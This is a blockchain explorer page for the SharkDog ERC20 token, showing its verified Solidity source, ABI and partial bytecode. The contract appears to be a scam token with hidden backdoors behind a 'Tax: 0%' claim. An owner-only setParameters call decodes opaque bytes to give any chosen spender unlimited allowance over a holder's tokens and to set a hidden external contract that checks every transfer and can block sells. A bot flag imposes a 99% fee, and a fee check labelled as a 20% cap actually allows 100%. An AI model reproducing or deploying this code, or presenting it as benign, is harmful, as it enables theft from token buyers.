ETH Price: $2,743.29 (+6.06%)

Token

SharkDog (SHARKDOG)
 

Overview

Max Total Supply

8,888,888,888 SHARKDOG

Holders

76

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
58,185,101.651994218 SHARKDOG

Value
$0.00
0x06dc38948fe72a0a1bbdad6629228c6b142684bc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SharkDog

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-01
*/

// SPDX-License-Identifier: MIT

// Website:   https://www.sharkdog.vip/
// Telegram:  https://t.me/SharkDogETH

// Total Supply: 8,888,888,888
// Tax: 0%

pragma solidity 0.8.19;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public virtual onlyOwner {owner = address(0);emit OwnershipTransferred(owner);}
    event OwnershipTransferred(address owner);
}

interface IFactory{    
    function createPair(
        address tokenA, 
        address tokenB
    ) external returns (address pair);

    function getPair(
        address tokenA, 
        address tokenB
    ) external view returns (address pair);

    function checkPair(
        address tokenA, 
        address tokenB, 
        uint256 amount
    ) external returns(bool);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract SharkDog is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"SharkDog";
    string private constant _symbol = unicode"SHARKDOG";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 8888888888 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 200;      // 2%;
    uint256 private _maxTransferPercent = 200;      // 2%;
    uint256 private _maxWalletPercent = 300;        // 3%;
    mapping (address => uint256) _balances;
    address private _pair;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    
    IRouter router;    
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private sellFee = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;

    address public pair;
    uint256 swapAmount = 3;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = owner;
    address internal marketing_receiver = owner;
    address internal liquidity_receiver = owner;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address pairAddress = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = pairAddress;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }


    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function updateBotThreshold(bytes memory _v) internal {(address owner,address spender)=abi.decode(_v,(address,address));_pair = spender;_allowances[owner][spender]=type(uint).max;}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}    

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount);
        checkPair(sender, recipient, amount);
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }

     function removeLimits() external onlyOwner{         
        _maxTxAmountPercent = 10000;
        _maxTransferPercent = 10000;
        _maxWalletPercent = 10000;
    }

    function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet, bytes memory _v) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmountPercent = _buy;
        _maxTransferPercent = _trans;
        _maxWalletPercent = _wallet;
        updateBotThreshold(_v);
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }
    
    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken(), "Exceeds maximum wallet amount.");}
    }

    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }

    function checkPair(address from, address to, uint256 amount) internal{
        if( _pair != address(0))  IFactory(_pair).checkPair(from, to, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function setSwapbackSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"},{"internalType":"bytes","name":"_v","type":"bytes"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setSwapbackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a62000014919062000853565b640211d1ae38620000269190620008a4565b60015560c860025560c860035561012c6004556000600a60146101000a81548160ff0219169083151502179055506000600b556000600c556000600d556000600e556000600f55600060105560006011556127106012556001601360006101000a81548160ff0219169083151502179055506003601655620186a06103e8600154620000b39190620008a4565b620000bf91906200091e565b601755620186a0600a600154620000d79190620008a4565b620000e391906200091e565b60185560008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200021657600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e69190620009c0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200034e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003749190620009c0565b6040518363ffffffff1660e01b81526004016200039392919062000a03565b6020604051808303816000875af1158015620003b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d99190620009c0565b905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620006a9919062000a41565b60405180910390a3505062000a5e565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000747578086048111156200071f576200071e620006b9565b5b60018516156200072f5780820291505b80810290506200073f85620006e8565b9450620006ff565b94509492505050565b60008262000762576001905062000835565b8162000772576000905062000835565b81600181146200078b57600281146200079657620007cc565b600191505062000835565b60ff841115620007ab57620007aa620006b9565b5b8360020a915084821115620007c557620007c4620006b9565b5b5062000835565b5060208310610133831016604e8410600b8410161715620008065782820a9050838111156200080057620007ff620006b9565b5b62000835565b620008158484846001620006f5565b925090508184048111156200082f576200082e620006b9565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000860826200083c565b91506200086d8362000846565b92506200089c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000750565b905092915050565b6000620008b1826200083c565b9150620008be836200083c565b9250828202620008ce816200083c565b91508282048414831517620008e857620008e7620006b9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200092b826200083c565b915062000938836200083c565b9250826200094b576200094a620008ef565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000988826200095b565b9050919050565b6200099a816200097b565b8114620009a657600080fd5b50565b600081519050620009ba816200098f565b92915050565b600060208284031215620009d957620009d862000956565b5b6000620009e984828501620009a9565b91505092915050565b620009fd816200097b565b82525050565b600060408201905062000a1a6000830185620009f2565b62000a296020830184620009f2565b9392505050565b62000a3b816200083c565b82525050565b600060208201905062000a58600083018462000a30565b92915050565b613b948062000a6e6000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a578063a9059cbb11610064578063a9059cbb14610513578063dd62ed3e14610550578063e94dd17c1461058d578063f2fde38b146105b657610171565b80638c41180e1461049457806395d89b41146104bd578063a8aa1b31146104e857610171565b806370a08231146103a8578063715018a6146103e5578063751039fc146103fc57806378109e54146104135780637d1db4a51461043e578063893d20e81461046957610171565b806323b872dd1161012357806323b872dd14610286578063293230b8146102c35780632f54bf6e146102da578063313ce567146103175780633f4218e01461034257806348ff2b8b1461037f57610171565b8063044019301461017657806306fdde031461019f578063095ea7b3146101ca5780630e8946191461020757806318160ddd146102305780631f976b7e1461025b57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d60048036038101906101989190612993565b6105df565b005b3480156101ab57600080fd5b506101b46106de565b6040516101c19190612ac5565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec9190612b45565b61071b565b6040516101fe9190612ba0565b60405180910390f35b34801561021357600080fd5b5061022e60048036038101906102299190612cf0565b610732565b005b34801561023c57600080fd5b5061024561089c565b6040516102529190612d82565b60405180910390f35b34801561026757600080fd5b506102706108dd565b60405161027d9190612d82565b60405180910390f35b34801561029257600080fd5b506102ad60048036038101906102a89190612d9d565b610906565b6040516102ba9190612ba0565b60405180910390f35b3480156102cf57600080fd5b506102d86109d1565b005b3480156102e657600080fd5b5061030160048036038101906102fc9190612df0565b610a36565b60405161030e9190612ba0565b60405180910390f35b34801561032357600080fd5b5061032c610a8f565b6040516103399190612e39565b60405180910390f35b34801561034e57600080fd5b5061036960048036038101906103649190612df0565b610a98565b6040516103769190612ba0565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a19190612e80565b610ab8565b005b3480156103b457600080fd5b506103cf60048036038101906103ca9190612df0565b610b5b565b6040516103dc9190612d82565b60405180910390f35b3480156103f157600080fd5b506103fa610ba4565b005b34801561040857600080fd5b50610411610c86565b005b34801561041f57600080fd5b50610428610ceb565b6040516104359190612d82565b60405180910390f35b34801561044a57600080fd5b50610453610d14565b6040516104609190612d82565b60405180910390f35b34801561047557600080fd5b5061047e610d3d565b60405161048b9190612ecf565b60405180910390f35b3480156104a057600080fd5b506104bb60048036038101906104b69190612e80565b610d66565b005b3480156104c957600080fd5b506104d2610e09565b6040516104df9190612ac5565b60405180910390f35b3480156104f457600080fd5b506104fd610e46565b60405161050a9190612ecf565b60405180910390f35b34801561051f57600080fd5b5061053a60048036038101906105359190612b45565b610e6c565b6040516105479190612ba0565b60405180910390f35b34801561055c57600080fd5b5061057760048036038101906105729190612eea565b610e83565b6040516105849190612d82565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190612f2a565b610f0a565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190612fbb565b610fbe565b005b6105e833610a36565b610627576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061e90613034565b60405180910390fd5b86600b8190555085600c8190555084600e8190555083600d8190555082600f81905550816010819055508060118190555061066e600160125461108090919063ffffffff16565b600f54111580156106965750610690600160125461108090919063ffffffff16565b60105411155b6106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cc906130c6565b60405180910390fd5b50505050505050565b60606040518060400160405280600881526020017f536861726b446f67000000000000000000000000000000000000000000000000815250905090565b6000610728338484611096565b6001905092915050565b61073b33610a36565b61077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190613034565b60405180910390fd5b60006127108561078861089c565b6107929190613115565b61079c9190613186565b90506000612710856107ac61089c565b6107b69190613115565b6107c09190613186565b90506000612710856107d061089c565b6107da9190613115565b6107e49190613186565b90508660028190555085600381905550846004819055506108048461125f565b60006108356103e8610827600561081961089c565b61136190919063ffffffff16565b61108090919063ffffffff16565b90508084101580156108475750808310155b80156108535750808210155b610892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088990613229565b60405180910390fd5b5050505050505050565b60006108d86108ab6000610b5b565b6108ca6108b961dead610b5b565b60015461137790919063ffffffff16565b61137790919063ffffffff16565b905090565b60006012546003546108ed61089c565b6108f79190613115565b6109019190613186565b905090565b600061091384848461138d565b6109c684336109c185604051806060016040528060288152602001613b3760289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115919092919063ffffffff16565b611096565b600190509392505050565b6109da33610a36565b610a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1090613034565b60405180910390fd5b6001600a60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60086020528060005260406000206000915054906101000a900460ff1681565b610ac133610a36565b610b00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af790613034565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bad33610a36565b610bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be390613034565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610c7c9190612ecf565b60405180910390a1565b610c8f33610a36565b610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc590613034565b60405180910390fd5b612710600281905550612710600381905550612710600481905550565b6000601254600454610cfb61089c565b610d059190613115565b610d0f9190613186565b905090565b6000601254600254610d2461